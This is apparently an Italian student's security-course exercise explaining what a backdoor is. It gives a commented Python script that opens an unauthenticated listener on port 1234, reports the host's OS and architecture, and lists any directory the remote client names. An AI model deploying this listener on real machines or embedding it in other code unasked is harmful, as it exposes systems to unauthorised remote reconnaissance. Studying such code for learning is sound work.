

Esercizio S3/L4 di Ciaschini Giorgio del 08/02/2024

Che cos'è una backdoor?

Partendo dal significato letterale della parola possiamo definirla come porta che sta dietro, come ad esempio una porta di servizio secondario. È una porta che fornisce l'accesso a un sistema di gestione. Di seguito vediamo come possiamo metterci in ascolto su una backdoor.

```
1 import socket, platform, os #Definiamo i moduli
2
3 SRV_ADDR = ""
4 SRV_PORT = 1234
5
6 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #creiamo il socket facendo attenzione a definire le connessioni
7 s.bind((SRV_ADDR, SRV_PORT)) #associamo indirizzo IP e la Porta
8 s.listen(1) #ci mettiamo in ascolto
9 connection, address = s.accept() #accetta le connessioni in entrata e l'indirizzo
10
11 print ("client connected: ", address)
12
13 while 1: #fintantochè è vero allora ricevi i pacchetti con connection.recv(1024)
14     try:
15         data = connection.recv(1024)
16     except:continue
17     #Se il client invia 1 allora restituisci il sistema operativo e la versione
18     if(data.decode('utf-8') == '1'):
19         tosend = platform.platform() + " " + platform.machine()
20         connection.sendall(tosend.encode())
21     #Se invece invia 2 allora restituiscimi dei dati in una lista
22     elif(data.decode('utf-8') == '2'):
23         data = connection.recv(1024)
24         try:
25             filelist = os.listdir(data.decode('utf-8'))
26             tosend = ""
27
28             for x in filelist:
29                 tosend += "," + x
30         except:
31             tosend = "Wrong path"
32         connection.sendall(tosend.encode())
33     #Se manda 0 allora chiudi la connessione
34     elif(data.decode('utf-8') == '0'):
35         connection.close()
36         connection, address = s.accept()
37
```